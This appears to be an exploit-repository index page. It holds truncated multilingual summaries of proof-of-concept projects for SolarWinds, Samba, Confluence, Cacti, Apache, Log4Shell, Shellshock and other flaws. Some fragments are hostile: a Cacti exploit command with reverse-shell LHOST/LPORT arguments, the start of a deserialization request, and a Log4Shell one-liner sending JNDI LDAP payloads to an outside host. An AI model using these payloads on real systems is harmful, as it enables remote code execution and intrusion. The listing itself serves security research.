CVE-2021-35215

CVE-2021-35215 RCE par désérialisation de ActionPluginBaseView de SolarWinds Orion Platform, nécessite une connexion. PoC root@kitploit: POST /Orion/RenderControl.aspx HTTP/1.1 Host: 192.168.137.130:8787 Content-Length: 3648 Cache-Control: max-age=0 Origin: http://192.168.137.130:8787...

exploit-CVE-2017-7494

SambaCry RCE эксплойт для Samba 4.5.9 Samba — это свободная программная реализация сетевого протокола SMB/CIFS. Samba предоставляет файловые и печатные сервисы для различных клиентов Microsoft Windows и может интегрироваться с доменом Microsoft Windows Server, либо как контроллер домена DC, либо...

EXCELntDonut

| \ / /|| | | | | \ | | | | \ / | || | | | ' | | | | |/ | ' | | | | | | | / \ || || || | | | || || | | | | | | | | | |//||| | || |/ /|| | |, || par @JoeLeonJr @FortyNorthSec EXCELntDonut est un générateur de macros XLM Excel 4.0. Commencez avec du code source C EXE et obtenez une macro XLM Excel...

cve-2025-55182-react2shell-analysis

CVE-2025-55182 React2Shell — Анализ безопасности Обзор Этот проект представляет собой технический анализ CVE-2025-55182 — критической уязвимости удаленного выполнения кода RCE, раскрытой в декабре 2025 года. Уязвимость затрагивает React Server Components и позволяет злоумышленникам выполнять...

CVE-2023-46954

CVE-2023-46954 Vulnérabilité d'injection SQL dans Relativity Server 2022 v.12.1.537.3 Patch 2 et versions antérieures permet à un attaquant distant d'exécuter du code arbitraire via le paramètre name. Type de vulnérabilité Injection SQL Vendeur du produit Relativity ODA LLC Base de code du produi...

CVE-2002-0346

CVE-2002-0346 Уязвимость межсайтового скриптинга в Cobalt RAQ 4 позволяет удаленным злоумышленникам выполнять произвольный скрипт от имени других пользователей Cobalt с помощью JavaScript в URL-адресе к 1 service.cgi или 2 alert.cgi. Публикация Packetstorm по адресу...

PS4-5.05-Kernel-Exploit

PS4 5.05 Эксплойт ядра Краткое описание В этом проекте вы найдёте полную реализацию второго «bpf»-эксплойта ядра для PlayStation 4 на версии 5.05. Он позволит вам выполнять произвольный код на уровне ядра, обеспечивая джейлбрейк и модификации системы на уровне ядра. Этот эксплойт также содержит к...

CVE-2021-41773---Apache-Path-Traversal---RCE

CVE-2021-41773 — Apache - Traversée de chemin et RCE Tâche de stage: ITSOLERA PVT LTD — Sécurité offensive Stagiaire: Areeba Zehra Jafri Responsable d'équipe: Muhammad Ahsan Ayaz Date: 18 mars 2026 Aperçu Recherche et exploitation de CVE-2021-41773 — vulnérabilité de traversée de chemin et...

Confluence_CVE-2021-26084

ConfluenceCVE-2021-26084 Exécution de code à distance sur les serveurs Confluence : CVE-2021-26084 PoC Points d'accès d'exploitation possibles de Confluence root@kitploit: https:///login https:///pages/templates2/viewpagetemplate.action https:///template/custom/content-editor...

CVE-2024-25641-CACTI-RCE-1.2.26

CVE-2024-25641 - Cacti 1.2.26 - Произвольная запись файла до RCE 🌵 Authenticated RCE Cacti version v1.2.26 Краткое описание Уязвимость произвольной записи файла, эксплуатируемая через функцию «Импорт пакетов», позволяет аутентифицированным пользователям, имеющим разрешение «Импорт шаблонов»,...

CVE-2023-6401

CVE-2023-6401 · Preuve de concept de détournement de DLL Anglais | Chinois Chinois ⚠️ Avertissement important : réservé à des fins de recherche en sécurité et d’éducation Preuve de concept de la vulnérabilité de détournement de DLL dans NotePad++ ≤ 8.1. Exécution de code arbitraire en plaçant une...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc un PoC Python pour le CVE-2019-15949 Aperçu Une vulnérabilité existe dans Nagios XI = 5.6.5 permettant à un attaquant d'exploiter une RCE pour élever ses privilèges à root. L'exploit nécessite un accès au serveur en tant qu'utilisateur 'nagios', ou un accès CCM via...

log4shell-homework9

과제 9 – Log4Shell 취약점으로부터 시스템 보호 개요 이 프로젝트는 Dockerized Java 웹 애플리케이션을 취약한 Log4j 2.14.1과 함께 사용하여 Log4Shell 취약점CVE-2021-44228의 공격 및 완화를 보여줍니다. 또한 시뮬레이션된 악성 LDAP 서버를 포함하여 JNDI 인젝션 공격 경로를 설명합니다. 공격 후, Log4j 업그레이드, 입력 검증, MITRE D3FEND 및 ATT&CK 권장 사항 적용을 통해 시스템을 강화합니다. 폴더 구조 root@kitploit:...

CVE-2022-46169-Cacti-1.2.22

CVE-2022-46169 Cet exploit est une version modifiée du script original de @FredBrave et adaptée par @arthurcortesr et @alv-david. Utilisation/Exemples root@kitploit: python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X Résultats attendus...

CVE-2023-32571-POC

Injection Dynamic Linq vers RCE - CVE-2023-32571 À propos de l'injection Dynamic Linq vers RCE CVE-2023-32571 Récemment, des membres du NCC Group ont découvert une vulnérabilité dans Dynamic Linq qui permet à des attaquants d'appeler des fonctions C via une injection Linq, rendant ainsi possible...

Shellshock_vuln_Exploit

🚨 Эксплойт Shellshock RCE CVE-2014-6271 Это Python-эксплойт для уязвимости Shellshock CVE-2014-6271, которая затрагивает GNU Bash. Эксплойт нацелен на CGI-скрипты на уязвимых веб-серверах и устанавливает обратную оболочку reverse shell на машину атакующего. Идентификатор CVE CVE-2014-6271 Отказ о...

Log4Shell-Payloads

🚨 Log4Shell 페이로드 컬렉션 Log4Shell / Log4J 익스플로잇 페이로드 의 엄선된 목록으로 다음을 대상으로 합니다: CVE-2021-45046 CVE-2022-42889 🔗 제작: @nav1n0x 🔥 한 줄 페이로드 ✅ 원라이너 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l...

CVE-2020-15368

Как эксплуатировать уязвимый драйвер Windows Эксплойт и Proof of Concept PoC для CVE-2020-15368. Asrock перепаковал драйвер rweverything для своего инструмента настройки RGB-контроллера и подписал его. Они "защищают" его, шифруя свои ioctl'ы... lol. Мы случайно нашли этот CVE прошлым летом, и,...

cybersecurity_portfolio

Портфолио. Усольцев Глеб Студент 2 курса, Институт компьютерных наук и кибербезопасности, СПбПУ Петра Великого, направление 10.03.01 «Информационная безопасность». В рамках учебной ознакомительной практики в АО «Позитив Текнолоджиз» выполнены два практических кейса. Ниже приведено их описание в...

asus-cmd

Exécution de commande root sur les routeurs ASUS via la diffusion UDP d'infosvr Plusieurs modèles de routeurs d'ASUS incluent un service appelé infosvr qui écoute sur le port de diffusion UDP 9999 sur l'interface LAN ou WLAN. Il est utilisé par l'un des outils d'ASUS pour faciliter la configurati...